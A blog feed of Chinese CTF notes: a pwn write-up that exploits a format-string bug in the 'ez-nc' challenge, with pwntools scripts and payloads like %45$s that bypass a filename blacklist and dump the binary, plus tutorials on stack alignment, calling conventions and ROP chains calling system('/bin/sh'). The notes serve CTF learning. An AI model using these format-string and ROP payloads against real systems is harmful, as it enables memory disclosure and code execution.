&gt; 关联入口：[[PWN题目索引]]
## 题目摘要

&gt; [!info] 基本信息
&gt; - **比赛**：polarisctf
&gt; - **题目**：ez-nc
&gt; - **难度**：★★★☆☆
&gt; - **架构**：amd64
&gt; - **libc / 环境**：待补充
&gt; - **保护机制**：NX

&gt; [!abstract] 一句话攻击链
&gt; BROP+格式化字符串漏洞-&gt;%n\$p探测栈空间-&gt;%n\$s泄漏ELF文件并保存-&gt;IDA逆向分析

## 程序画像与攻击面
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091038626.png)

### 程序功能概览
题目没有给任何文件，开启容器nc连接后，出现了 `Enter the filename to download:` 但是具体测试，不存在 `download` 功能，只会打印文件内容。
同时对目标文件 `ez-nc` 做了过滤保护

### 攻击面初筛
既然存在字符串交互，故尝试格式化字符串漏洞 `%p` 探测出了一个栈地址，同时有输入长度限制 (len_max=7)，初步怀疑程序使用了 `fnprintf()` 。
接下来会用BROP进行栈地址探测
## 利用前约束
### 关键限制
- 当前有哪些保护机制真正影响利用？
- 输入长度、交互次数、字符集、对齐、栈平衡等限制分别是什么？
- 哪些限制是必须先解决的，哪些只是实现细节？
目前仅发现字符串过滤保护和输入长度限制，所以不适合采用常规的长输入： `%1$p.%2$p.%3$p.%4$p....` 而是采用for循环构造 `f&quot;%{i}$p` 的新形势。
## 原语提炼

&gt; [!note]
&gt; 这一节用于说明漏洞如何转化为可复用的 primitive。
### 泄漏能力与关键信息获取
#### 泄漏结果与关键信息
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091055664.png)
我们对 `1~50` 进行了 `%p` 指针探测，得到了一些栈地址。这些栈空间会存储着局部变量数据（如果探测的地址够高，能够得到二进制文件信息！）
exp --&gt; [[#路线一]]
#### 对后续利用的支撑
接下来进行 `%n$s` 字符串探测，拿到栈空间的实际信息。但这里要注意，如果传入的地址未命中字符串会导致导致程序崩溃 **(Segfault)**，所以要写好重连逻辑。
崩溃重连：
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091101100.png)
命中成功：
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091103871.png)


## 路线选择
这里我做题时，将Index 45的结果发给AI，让AI在大量字节中找到了flag，但之后看其他师傅的WP时，发现还可以把Index 45的结果保存为二进制文件，并在IDA中逆向分析，在 `.rodata` 字段中找到了flag。
所以本题记录两种路线。

## 攻击链拆解

### 路线1：字符串盲注
直接对 1~50 进行 `%n$s` 盲注：
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091107665.png)
这些返回的字节中藏着flag，但人工筛选难度过大，容易眼花漏掉。
（下面还有2页的长度，过长不展示）

### 路线 2：下载后IDA逆向分析
从上面的截图中可以看到，存在文件头 `ELF` 字符串！这说明在 Index 45出存放的是一个二进制文件字符串 例如 `ez-nc` 的ELF文件。这个栈地址 `0x7fffbdac7e10` -&gt; `.data` 段的地址，这个地址存放着 `ez-nc` 的字符串。程序将这个字符串放在了 `fnprintf()` 的第一个参数，从而绕过了程序对 `ez-nc` 字符串的过滤！
写一个脚本可以下载到这个二进制文件 --&gt; [[#路线二：]]
&gt;[!tip] 
&gt;我这里用了wp作者的脚本，下载下里的ELF文件是无法直接IDA逆向的！后面 [[#踩坑记录]]会补充说明


拖入IDA中分析:
![longshot20260409185707.jpg](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091857289.jpg)
程序存在 strstr(s, &quot;ez-nc&quot;) 黑名单检测，但随后调用了 snprintf(filename, 0x58u, s)，将用户输入直接作为格式化字符串，导致格式化字符串漏洞。  
通过输入 %45$s（栈上第 45 个偏移处正好为 argv\[0] 即程序运行名 ez-nc），可绕过字符串黑名单检测，使 filename 被格式化为 ez-nc，从而触发任意文件读取下载程序本体。
ps：我不知道为什么下载的二进制文件有问题，符号表没定位到
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091902123.png)
发现flag 直接硬编码在 ELF 文件的 `.rodata` 数据段中
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202604091903776.png)


## 踩坑与稳定性

### 踩坑记录
这里填一下为什么一开始的ELF无法被IDA正常逆向的原因：
### 踩坑记录与稳定性修正

#### 最先出错的地方
- 第一版利用最早崩在哪一步？
- 当时错误看起来像偏移问题、栈平衡问题，还是环境问题？
- 这个错误为什么一开始不容易意识到？

#### 根因定位
- 最终确认的根因是什么？
- 是本地远程差异、符号计算错误、gadget 污染，还是交互时序问题？
- 哪个调试证据真正帮你锁定了问题？

#### 稳定版修正
- 最终版相对初版做了哪些最关键的修正？
- 哪些修正只是“能跑”，哪些修正才是真正“稳定”？
- 如果以后再遇到类似坑，最该先检查什么？


## 模式迁移

### 模式识别
- 这题最关键的识别信号是什么？
- 哪个局部现象最值得在下次做题时立刻警觉？

### 迁移复用
- 下次再看到什么结构，应该优先想到这条路线？
- 这题能沉淀成哪一种可复用的利用模板？

### 模式识别与迁移

#### 识别信号
- 这题最值得记住的结构信号是什么？
- 是某种输入模型、某种堆态、某种泄漏方式，还是某种收束套路？
- 当这些信号一起出现时，为什么应该优先想到当前路线？

#### 迁移套路
- 这题最终能抽象成哪一种可复用套路？
- 如果换成同类题但细节不同，哪些部分能直接复用，哪些必须重建？
- 下次再看到类似题，最应该优先验证哪三个点？


## exp汇总：
### 路线一
```python
def create_conn() -&gt; remote:
    return remote(&quot;nc1.ctfplus.cn&quot;, 15894)


def interact_copy(io: remote | process, payload: bytes) -&gt; bytes | None:
    context.timeout = 0.5
    try:
        io.recvuntil(b&quot;Enter the filename to download:&quot;)
        io.sendline(payload)
        res = io.recvuntil(b&quot; not existed&quot;, drop=True)
        return res
    except Exception:
        return None
# BlindFmtTool是我自己写的工具类，具有重连功能，可以在我的github上找到“my_tool.py”
brop = BlindFmtTool(create_conn, interact_copy)
# 栈空间探测封装：
brop.dump_stack_ptrs()
# 字符串盲注封装：
brop.dump_strings()
```

### 路线二：
下载Index 45ELF文件的exp：
```python
from pwn import *
context.log_level = &quot;error&quot;
def download():
    host = &quot;nc1.ctfplus.cn&quot;
    port = 32441
    io = remote(host, port)
    io.recvuntil(b&quot;download: &quot;)
    io.sendline(b&quot;%45$s&quot;)
    data = io.recvall(timeout=3)
    if b&quot;ELF&quot; in data:
        with open(&quot;ez-nc&quot;, &quot;wb&quot;) as f:
            f.write(data)
if __name__ == &quot;__main__&quot;:
    download()
```</content:encoded></item><item><title>16字节对齐</title><link>https://goosequill.erina.top/zh-cn/blog/202603051050/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202603051050/</guid><description>16字节对齐 的导入笔记</description><pubDate>Thu, 05 Mar 2026 03:10:00 GMT</pubDate><content:encoded>##  16字节对齐

在 Pwn 的世界里，**16 字节对齐（Stack Alignment）** 绝对是新手的“头号杀手”。你可能构造了一个完美的 ROP 链，逻辑无懈可击，但在本地运行或远程攻击时，程序却莫名其妙地在 `system` 或 `printf` 内部直接 `SIGSEGV`（段错误）了。

这种感觉就像你配好了万能钥匙，结果锁芯因为差了 1 毫米而打不开。

---

### 1. 为什么会有这个规定？（硬件的“强迫症”）
这个规定源于 x86-64 的 **SSE (Streaming SIMD Extensions)** 指令集。
为了极致的性能，CPU 处理 128 位（16 字节）的数据（比如浮点数运算）时，会使用类似 `movaps` (Move Aligned Packed Single-Precision Floating-Point Values) 这样的指令。
- **潜规则**：`movaps` 要求操作的内存地址**必须能被 16 整除**（即地址的十六进制最后一位必须是 `0`）。
- **后果**：如果地址没对齐，CPU 会直接罢工，抛出异常导致程序崩溃。
现代的 `glibc` 函数（如 `printf` 和 `system`）在内部实现时为了优化，大量使用了这类指令。

---

### 2. 16 字节对齐的“动态变化”
这是最容易绕晕的地方。根据 **System V ABI** 标准：
&gt; 在执行 `call` 指令**之前**，栈顶指针 `RSP` 必须是 16 字节对齐的。

让我们跟踪一下栈的变化：

1. **调用前**：`RSP` = `0x...00`（16 字节对齐，地址以 0 结尾）。
    
2. **执行 `call`**：CPU 自动把**返回地址**（8 字节）压入栈中。
    
    - 此时 `RSP` 变成了 `0x...F8`（不再是 16 的倍数，偏移了 8 字节）。
        
3. **进入函数内部**：函数的第一条指令通常是 `push rbp`。
    
    - 此时 `RSP` 变成了 `0x...F0`（嘿！又变回 16 的倍数了）。
        

**结论**：在函数体内部执行逻辑时，编译器默认 `RSP` 是对齐的。但如果你是通过特殊的手段（比如 ROP）直接跳到了函数的开头，情况就不一样了。

---

### 3. Pwn 选手的噩梦：ROP 链中的对齐坑

当你构造 ROP 链时，你实际上是手动在“拼凑”返回地址。

**典型的失败案例：**

你找到了 `system` 的地址，并准备好了 `pop rdi; ret` 传参。你的 Payload 看起来是这样的：

`[padding] + [pop rdi; ret] + [/bin/sh_addr] + [system_addr]`

在这个过程中，你跳过了正常的 `call` 流程，直接通过 `ret` 弹到了 `system` 内部。如果此时你的 `RSP` 刚好停在了一个“不对劲”的位置（比如末尾是 `8` 而不是 `0`），`system` 内部一旦执行到 `movaps` 就会立刻崩溃。

---

### 4. 终极补救方案：多加一个 `ret`

如果你发现你的 ROP 链在调用 `system` 时崩溃了，而且调试发现挂在 `movaps` 上，最简单的黑科技就是：**在调用目标函数之前，先塞入一个没用的 `ret` 指令。**

**修正后的 Payload：**

`[padding] + [ret_gadget] + [pop rdi; ret] + [/bin/sh_addr] + [system_addr]`

- **原理**：`ret` 的本质是 `pop rip`。执行一个额外的 `ret` 会让 `RSP` 移动 8 个字节，从而实现“从不对齐到对齐”的华丽转身。

---

### 5. 如何在调试时识别它？
在 GDB (如使用插件 `pwndbg`) 中，当你崩溃时：
1. 看崩溃的那一条指令。如果是 `movaps XMMWORD PTR [rsp+...], xmm...` 这种。
2. 看 `RSP` 的值。如果地址的最后一位不是 `0`（比如是 `8`）。
3. **石锤了**：这就是 16 字节对齐问题。

---

### 总结笔记

|**状态**|**RSP 状态**|**备注**|
|---|---|---|
|**标准 Call 之前**|必须对齐 (ends in `0`)|ABI 的强制要求|
|**执行 Call 后**|不对齐 (ends in `8`)|因为压入了一个 8 字节的返回地址|
|**ROP 跳转后崩溃**|通常是 ends in `8`|导致 `system` 内部 SIMD 指令报错|
|**对齐策略**|增加一个 `ret` 指令|强行平移 8 字节，抵消偏移|

**你现在理解了为什么有时候你的 Payload 逻辑全对，却需要莫名其妙多加一个 `ret` 才能打通了吧？** 你想针对这个对齐问题，实际看一段会导致崩溃的汇编代码，还是说你已经准备好聊聊关于 `printf` 可变参数和寄存器的那个“终极心机”了？</content:encoded></item><item><title>参数从右往左压栈道&quot;设计心机&quot;</title><link>https://goosequill.erina.top/zh-cn/blog/202603055950/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202603055950/</guid><description>参数从右往左压栈道&quot;设计心机&quot; 的导入笔记</description><pubDate>Thu, 05 Mar 2026 02:59:00 GMT</pubDate><content:encoded>##  参数从右往左压栈道&quot;设计心机&quot;

这就是计算机底层设计中非常精彩的一个“心机”。我们习惯从左往右阅读，但 CPU 偏偏要从右往左压栈，这完全是为了解决一个逻辑悖论：**如果我不知道你有多少个参数，我该怎么找到第一个参数？**

---

## 1. 核心矛盾：变长参数的“迷雾”

想象一下 `printf` 函数的定义：
```c
int printf(const char *format, ...);
```
这里的 `...` 代表参数个数是不确定的。当你调用 `printf(&quot;%d %f %s&quot;, a, b, c)` 时，函数本身在刚开始运行的那一刻，其实并不知道你传了 3 个参数还是 300 个参数。
它唯一**确定**知道的，是第一个参数——**格式化字符串（format string）**。

---

## 2. “从右往左”的堆栈布局图
假设我们通过栈传递 3 个可选参数（为了演示方便，暂不考虑寄存器传参的干扰）：
`printf(format, a, b, c)`
如果按照**从右往左（c -&gt; b -&gt; a -&gt; format）** 压栈，栈的生长方向是向下的（从高地址到低地址）：

| **内存地址**  | **存放内容**   | **备注**         |
| --------- | ---------- | -------------- |
| 高地址       | **c**      | 最后一个参数         |
|           | **b**      |                |
|           | **a**      |                |
| 低地址 (RSP) | **format** | **第一个参数（确定的）** |

### 为什么这样做是“心机”？
在这种布局下，无论你后面传了多少个参数，`format` 永远就在 `[RSP]`（或返回地址上方固定的位置）

`printf` 进场后，第一眼就能精准捕捉到 `format`。然后它开始解析字符串，看到一个 `%d`，它就知道：“哦，往高地址挪 8 个字节就能找到一个整数”；看到一个 `%s`，再往高地址挪。

---

## 3. 思想实验：如果“从左往右”压栈会怎样？
如果顺序是 **format -&gt; a -&gt; b -&gt; c**：
1. `format` 会先入栈，处于高地址。
2. `c` 最后入栈，处于当前的栈顶 `RSP`。
**灾难发生了：**
当 `printf` 开始执行时，它看了一眼 `RSP`。此时 `RSP` 指向的是 `c`。
但是，`printf` 根本不知道现在这个位置是 `c` 还是 `b` 还是 `format`，因为它不知道你到底压了多少东西进去！它**无法通过一个固定的偏移量**找到最关键的 `format` 字符串。

&gt; [!TIP]
&gt; 
&gt; **结论：** “从右往左”压栈，是为了让**第一个参数的位置固定在栈顶附近**，从而让函数有能力去解析剩下的参数。

---

## 4. 这种设计对 Pwn 的“馈赠”
作为研究二进制安全的同学，这个设计带给你一个非常著名的漏洞利用方式：**格式化字符串漏洞（Format String Vulnerability）**。
既然 `printf` 是通过解析 `format` 里的 `%` 符号，然后盲目地去栈上（或寄存器里）找数据，那么：
- 如果你输入一个 `%p %p %p %p` 作为 `format`。
- `printf` 就会乖乖地把栈上原本不该给你看的数据（比如返回地址、金丝雀值 Canary、甚至是函数指针）全部打印出来。
这就是因为 `printf` 过于信任 `format` 提供的“索引指南”，而“从右往左”的压栈规则保证了它能永远找到这份“指南”。

---

##  `r9` 到 `rdi` 这种倒序：
简短的回答是：**对于寄存器本身，`mov` 的先后顺序确实没有硬性物理要求。** 只要在 `call` 指令执行的那一刹那，那 6 个寄存器里装着正确的值，CPU 就认。
但是，这里面确实藏着几条你可能不知道的 **“潜规则”** 和 **“工程美学”** ：

---

### 1. 为什么我刚才“倒着写”？（思维惯性）
在写汇编或阅读编译器输出时，你经常看到 `r9` 到 `rdi` 这种倒序，主要有两个原因：
- **栈的延续感**：在 32 位时代，参数必须通过 `push` 进栈，而栈又是从右往左压的。很多老牌程序员或编译器在写 64 位汇编时，潜意识里会保留这种“先处理最后一个，最后处理第一个”的节奏。
- **保护 RDI/RSI**：在复杂的函数中，`RDI` 和 `RSI`（第一、二个参数）通常最重要（比如是字符串的首地址）。把它们放在最后 `mov`，可以防止在准备其他参数（比如计算第 5 个参数的复杂逻辑）时，不小心把已经算好的 `RDI` 给覆盖掉。

---

### 2. 真正的潜规则：变长参数的“隐藏 Boss” (AL 寄存器)
当你调用 `printf` 这种变长参数函数时，除了那 6 个寄存器，还有一个极其重要的**隐藏潜规则**：
**你必须设置 `AL` 寄存器（RAX 的低 8 位）。**

- **规则**：对于变长参数函数，`AL` 寄存器需要存储**用到了多少个矢量寄存器（XMM 寄存器）**来传递浮点数。
    
- **实战**：如果你只是打印普通整数或字符串（没用到浮点数），你必须执行 `xor eax, eax`（即让 `AL = 0`）。
    

**如果你漏了这一步：** 程序虽然可能不会崩溃，但在某些严谨的系统环境下，`printf` 会因为找不到浮点数参数的个数而产生未定义行为。这是 Pwn 题目中手工构造 ROP 链时最容易掉进去的坑。

---

### 3. Pwn 选手的必修课：ROP 链里的顺序
虽然在普通的 `mov` 指令中顺序不重要，但在你最关心的 **ROP (Return-Oriented Programming)** 链里，**顺序就是生命线**。
当你通过 `pop rdi; ret` 这种 Gadget 来传参时，你的参数是存在栈上的。因为栈是按照地址增长方向读取的，所以你构造的 ROP 链**物理顺序**必须严格匹配：
1. 第一个 `pop rdi` 对应的参数。
2. 第二个 `pop rsi` 对应的参数。

**这时候，你没法“随便乱写”，必须根据你找到的 Gadget 顺序来排布你的 Payload。**

---

### 4. 寄存器之间的“依赖陷阱”

有时候顺序必须固定，是因为**寄存器之间有依赖**。

看这个例子：

代码段

```
; 错误示例：如果你想让 p1 = p2 + 1
mov edi, esi    ; 此时 esi 还没初始化！
mov esi, 200
```

在这种情况下，你必须先 `mov esi, 200`，再 `mov edi, esi`。编译器在生成代码时，会进行**数据流分析（Data Flow Analysis）**，确保寄存器准备的顺序不会产生这种“还没算好就先用”的尴尬。

---

### 总结：你的“潜规则”清单

1. **自由度**：普通的 `mov` 传参，顺序随你便，正着写完全没问题。
    
2. **AL 必杀技**：调用 `printf` 类函数，记得 `xor eax, eax`（设置 `AL` 为 0）。
    
3. **ROP 链**：在栈上构造攻击载荷时，顺序由 Gadget 在内存中的分布决定，不能错位。
    
4. **16 字节对齐**：这是最大的潜规则。在 `call` 之前，`RSP` 的值必须能被 16 整除，否则涉及浮点数运算（哪怕是 `printf` 内部）时会报 `SIGSEGV` 段错误。
    

**验收时刻：**

关于这套“寄存器坐次表”和它的潜规则，你还有哪里觉得不够直观吗？如果 OK 的话，我们可以尝试手动写一段包含 `AL` 设置和参数准备的完整汇编 Demo 来验证一下！或者你想聊聊那个 **16 字节对齐** 到底是怎么把人坑惨的？

--&gt; [[16字节对齐]]</content:encoded></item><item><title>参数超过6个时，“被迫”动用内存栈处理</title><link>https://goosequill.erina.top/zh-cn/blog/202603054536/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202603054536/</guid><description>参数超过6个时，“被迫”动用内存栈处理 的导入笔记</description><pubDate>Thu, 05 Mar 2026 02:45:00 GMT</pubDate><content:encoded>##  参数超过6个时，“被迫”动用内存栈处理

当函数的参数超过 6 个时，CPU 就像是一个装满了东西的口袋——它已经没有多余的“快车道”（寄存器）来存放新数据了。这时候，CPU 必须求助于它的“后备仓库”：**栈（Stack）**。

在 x86-64 Linux（System V ABI）中，这种处理方式被称为 **寄存器与栈的混合传递**。

---

## 1. 规则：前 6 后栈

我们可以把参数传递想象成一个优先级排队：

1. **前 6 个参数**：坐“头等舱”，分别存放在 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, `R9`。
    
2. **第 7 个及以后的参数**：坐“经济舱”，依次压入**内存栈**中。

---

## 2. 深度融合：C 与汇编的现场实验

我们写一个拥有 8 个参数的“大函数”来看看编译器是怎么排兵布阵的。

### C 语言代码

C

```
// 一个有 8 个参数的函数
void complex_func(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8) {
    int sum = a7 + a8; // 我们重点看最后两个参数
}

int main() {
    complex_func(1, 2, 3, 4, 5, 6, 7, 8);
    return 0;
}
```

### 调用方（main 函数）的汇编逻辑

在调用 `complex_func` 之前，汇编指令会变成这样：

代码段

```
; --- 准备第 7 和 第 8 个参数 (内存栈) ---
push 8                ; 将第 8 个参数压栈
push 7                ; 将第 7 个参数压栈

; --- 准备前 6 个参数 (寄存器) ---
mov r9d, 6            ; a6
mov r8d, 5            ; a5
mov ecx, 4            ; a4
mov edx, 3            ; a3
mov esi, 2            ; a2
mov edi, 1            ; a1

; --- 正式调用 ---
call complex_func
```

---

## 3. 栈帧布局：参数长什么样？

当函数被调用后，栈顶指针 $RSP$ 会发生变化。对于 `complex_func` 内部来说，它要找第 7、8 个参数，必须去内存里翻：

|**内存地址 (相对 RSP)**|**内容**|**备注**|
|---|---|---|
|`[rsp + 0x0]`|**返回地址**|`call` 指令自动压入的返回地址|
|`[rsp + 0x8]`|**7**|第 7 个参数 (a7)|
|`[rsp + 0x10]`|**8**|第 8 个参数 (a8)|

&gt; [!TIP]
&gt; 
&gt; **为什么是 +0x8 和 +0x10？** &gt; 因为在 64 位系统中，每个压栈的参数占据 8 个字节。第一个 8 字节存的是函数结束后的返回地址，所以参数要从偏移量 8 开始找。

---

## 4. 为什么这对 Pwn 学习至关重要？

作为研究二进制安全的同学，这是你构造 **ROP (Return-Oriented Programming)** 链的核心知识点：

1. **参数位置的差异**：如果你要利用的漏洞函数只有 1-2 个参数（如 `system(&quot;/bin/sh&quot;)`），你只需要寻找 `pop rdi; ret` 这样的 Gadget 即可。
    
2. **栈溢出的利用**：如果你要利用的函数有 7 个以上的参数（比如某些复杂的内核函数），你就不能只靠控制寄存器了，你还必须**控制栈上的数据布局**，因为程序会去 `[rsp + 8]` 这种地方读取它的后续参数。
    

这种“寄存器 + 栈”的混合机制，实际上是 CPU 在**速度（寄存器）**与**通用性（栈可以存无限个参数）**之间做出的平衡。

---

### 进阶思考

你有没有想过，为什么函数参数压栈的顺序是 **“从右往左”**（先压 8，再压 7）？这其实和 C 语言中一个非常著名的特性——**可变参数函数**（比如 `printf`）有关。你想聊聊这个“设计心机”吗？

--&gt; [[参数从右往左压栈道&quot;设计心机&quot;]]</content:encoded></item><item><title>RDI作为第一个参数的“潜规则”</title><link>https://goosequill.erina.top/zh-cn/blog/202603054245/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202603054245/</guid><description>RDI作为第一个参数的“潜规则” 的导入笔记</description><pubDate>Thu, 05 Mar 2026 02:42:00 GMT</pubDate><content:encoded>##  RDI作为第一个参数的“潜规则”

这个问题问到了底层设计的核心。为什么要专门规定 **RDI** 是第一个参数、**RSI** 是第二个参数？为什么不随机选两个寄存器（比如 R8 和 R9）？

这背后的原因主要可以归结为两点：**硬件遗产的延续** 和 **极致的性能优化**。

---

## 1. 硬件遗产：为了“零成本”调用系统指令

在 C 语言中，很多基础函数的操作逻辑是 **“目标 $\leftarrow$ 来源”**。最典型的例子就是 `memcpy(dest, src, size)`。

- **RDI** 的 D 代表 **Destination**（目的）。
    
- **RSI** 的 S 代表 **Source**（源）。
    

**设计的巧妙之处：**

x86 架构内置了一些非常强大的“字符串指令”（如 `movsb`），这些指令是硬编码（Hard-wired）在 CPU 电路里的，它们**强制**要求使用 RSI 作为源，RDI 作为目标。

如果调用约定（ABI）规定第一个参数进 RDI，第二个进 RSI，那么当你写 `memcpy(dest, src, n)` 时：

1. `dest` 已经在 RDI 里了。
    
2. `src` 已经在 RSI 里了。
    
3. CPU **不需要**再花时间写 `mov` 指令去交换寄存器的值，直接执行一条硬件指令就能开始搬运。
    

**结论：** 这种设计是为了让 C 语言的高频函数（如字符串处理、内存拷贝）能直接对接 CPU 的硬件加速指令。

---

## 2. 性能革命：从“内存时代”进化到“寄存器时代”

在老旧的 32 位（x86）时代，函数参数是放在**栈（Stack）**里的。

- **缺点**：栈在内存里，CPU 访问内存的速度远慢于寄存器。每次调用函数都要写内存、读内存，非常浪费。
    

到了 64 位（x86-64）时代，寄存器变多了。工程师们制定了一套规则（System V ABI），规定前 6 个参数必须通过寄存器传递。

**为什么要排这个顺序？**

这就像一种“标准协议”。如果没有这个规定：

- A 程序员写的函数认为第一个参数在 RAX。
    
- B 程序员写的代码把参数传到了 RBX。
    
- 结果：程序直接崩溃。
    

**统一规定 RDI, RSI... 的目的**，是让编译器、操作系统和不同语言编写的代码能够**互相无缝通信**。这就像大家约定好在公路右侧行驶一样。

---

## 3. 实际意义：对 Pwn 和逆向的影响

作为学习二进制安全（Pwn）的同学，理解这个原因对你至关重要：

- **寻找 Gadgets**：在构造 ROP 链时，你经常需要控制第一个参数（比如 `system(&quot;/bin/sh&quot;)`）。因为你知道规则是 RDI，所以你会拼命寻找 `pop rdi; ret` 这样的指令片段。
    
- **快速定位漏洞**：你在反汇编工具（如 IDA）里看到代码把一个奇怪的地址传给了 **RDI**，然后调用了一个函数，你立刻就能反应过来：“哦，他在设置这个函数的第一个参数”。

---

### 总结对照表

|**维度**|**旧时代 (32位/x86)**|**新时代 (64位/x86-64)**|**带来的好处**|
|---|---|---|---|
|**存放位置**|内存栈 (Stack)|**寄存器 (RDI, RSI...)**|**速度快**（寄存器访问是纳秒级）|
|**指令数量**|需要多次 push/pop|简单的 mov 即可|**代码体积小**，执行效率高|
|**逻辑一致性**|随意|严格遵循 Dest/Source 逻辑|**硬件级优化**，减少数据搬运成本|

你想看看当参数超过 6 个（寄存器不够用）时，CPU 是如何“被迫”动用内存栈来处理的吗？

--&gt; [[参数超过6个时，“被迫”动用内存栈处理]]
--&gt; [[参数从右往左压栈道&quot;设计心机&quot;]]</content:encoded></item><item><title>变址寄存器</title><link>https://goosequill.erina.top/zh-cn/blog/202603052327/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202603052327/</guid><description>变址寄存器 的导入笔记</description><pubDate>Thu, 05 Mar 2026 02:23:00 GMT</pubDate><content:encoded>##  变址寄存器

理解变址寄存器（Index Registers）最好的方式，就是把它们想象成**搬运工的“GPS坐标”**。
在 x86-64 架构中，**RSI** 和 **RDI** 就像是一对搭档：一个负责告诉 CPU “东西在哪”（源），另一个负责告诉 CPU “送到哪去”（目的）。

---

## 1. 核心逻辑：源与目的
我们可以通过一张简单的对比表来快速建立直觉：

| **寄存器** | **全称**                    | **核心角色**    | **现实比喻** |
| ------- | ------------------------- | ----------- | -------- |
| **RSI** | **S**ource **I**ndex      | **源**操作数指针  | “货源地”的地址 |
| **RDI** | **D**estination **I**ndex | **目的**操作数指针 | “收货地”的地址 |

&gt; [!NOTE]
&gt; 
&gt; **现代 x86-64 的变化**：在 64 位 Linux 系统中（System V AMD64 ABI），RDI 和 RSI 还有个极其重要的身份——**函数参数**。
&gt; 
&gt; - **RDI**：存储函数的**第 1 个**参数。
&gt;     
&gt; - **RSI**：存储函数的**第 2 个**参数。

---

## 2. 深度融合：C 与汇编的对照实验
为了让你彻底理解，我们来看一个最经典的场景：**内存拷贝（Memory Copy）**。
### C 语言代码
这段代码实现了一个简单的字符拷贝功能：将 `src` 指向的字符复制到 `dest`。
```c
void manual_copy(char *dest, const char *src) {
    *dest = *src; // 把源地址的内容搬到目的地址
}
```
### 对应的汇编代码（x86-64）
当你调用 `manual_copy(buffer, message)` 时，编译器会这样安排寄存器：
代码段
```shell
; 假设进入函数时：
; RDI = dest 的地址 (第一个参数)
; RSI = src 的地址  (第二个参数)

manual_copy:
    mov al, [rsi]      ; 【从源头取货】：把 RSI 指向地址里的 1 字节数据读到 AL 寄存器
    mov [rdi], al      ; 【送到目的地】：把 AL 里的数据写到 RDI 指向的地址中
    ret                ; 返回
```

---

## 3. 进阶玩法：字符串指令（String Instructions）
之所以叫“变址寄存器”，是因为 x86 专门设计了一些“全自动”指令。比如 `movsb` (Move String Byte)，它会自动利用 RSI 和 RDI。
### 批量搬运示例
如果我们想一次性搬运 10 个字节：
- **C 语言**：`memcpy(dest, src, 10);`
    
- **汇编指令**：
    
    代码段
```
lea rsi, [src_buffer]   ; RSI = 源缓冲区首地址
lea rdi, [dest_buffer]  ; RDI = 目标缓冲区首地址
mov rcx, 10             ; 计数器设置为 10
rep movsb               ; 【自动搬运】：
                        ; 1. 把 [RSI] 的东西搬到 [RDI]
                        ; 2. RSI++，RDI++ (自动指向下一个字节)
                        ; 3. 重复执行，直到 RCX 为 0
```
在这里，RSI 和 RDI 的“变址”特性体现得淋漓尽致：它们不仅是地址，还会**随着搬运的过程自动增加**，就像仓库里自动前进的传送带。

---

## 4. 记忆技巧总结
- **S**I = **S**tart / **S**ource（开始的地方 / 源头）
- **D**I = **D**estination / **D**one（目的地 / 结束的地方）
在逆向分析或者调试代码时，如果你看到 `rep movs` 或者大量的 `[rsi]` / `[rdi]` 操作，你的第一反应应该是：**“CPU 正在进行大搬迁！”**

你想继续深入了解一下**函数调用约定（Calling Convention）** 吗？也就是为什么 RDI 是第一个参数，而 RSI 是第二个参数的“潜规则”。   
--&gt; [[RDI作为第一个参数的“潜规则”]]</content:encoded></item><item><title>Web题目索引</title><link>https://goosequill.erina.top/zh-cn/blog/20251225075459/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/20251225075459/</guid><description>Web题目索引 的导入笔记</description><pubDate>Wed, 24 Dec 2025 23:54:00 GMT</pubDate><content:encoded>##  WEB题目索引
&lt;progress value=&quot;0&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;</content:encoded></item><item><title>Web工具索引</title><link>https://goosequill.erina.top/zh-cn/blog/20251225075450/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/20251225075450/</guid><description>Web工具索引 的导入笔记</description><pubDate>Wed, 24 Dec 2025 23:54:00 GMT</pubDate><content:encoded>##  WEB工具索引
&lt;progress value=&quot;0&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;</content:encoded></item><item><title>Web知识体系</title><link>https://goosequill.erina.top/zh-cn/blog/20251225075434/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/20251225075434/</guid><description>Web知识体系 的导入笔记</description><pubDate>Wed, 24 Dec 2025 23:54:00 GMT</pubDate><content:encoded>##  WEB知识体系
&lt;progress value=&quot;0&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
# WEB知识体系.md 参考结构（二级节点）

## WEB知识体系
&lt;progress value=&quot;0&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
# WEB 知识体系

## 体系概述

本笔记作为WEB方向的知识导航中心，承载着连接各个技术领域的枢纽功能。在这个知识网络中，我们不仅要理解各个技术点本身，更重要的是把握它们之间的内在联系和演进脉络。WEB知识体系的构建遵循从协议到实现、从漏洞到防御、从单一攻击到组合利用的渐进路径，&lt;font color=&quot;#e36c09&quot;&gt;每个技术模块都不是孤立存在的，而是相互支撑、相互印证的整体。&lt;/font&gt;

## 核心知识分类

WEB领域的知识结构可以划分为几个关键的技术维度，这些维度既相对独立又密切关联。

在**漏洞类型**方面，我们将其系统性地归纳为四个主要方向：
- **[[注入类漏洞]]**：涵盖了所有基于用户输入未充分验证导致的攻击类型，从经典的SQL注入到新兴的NoSQL注入、从命令注入到模板注入，这类漏洞的核心在于&quot;数据与代码的边界模糊&quot;
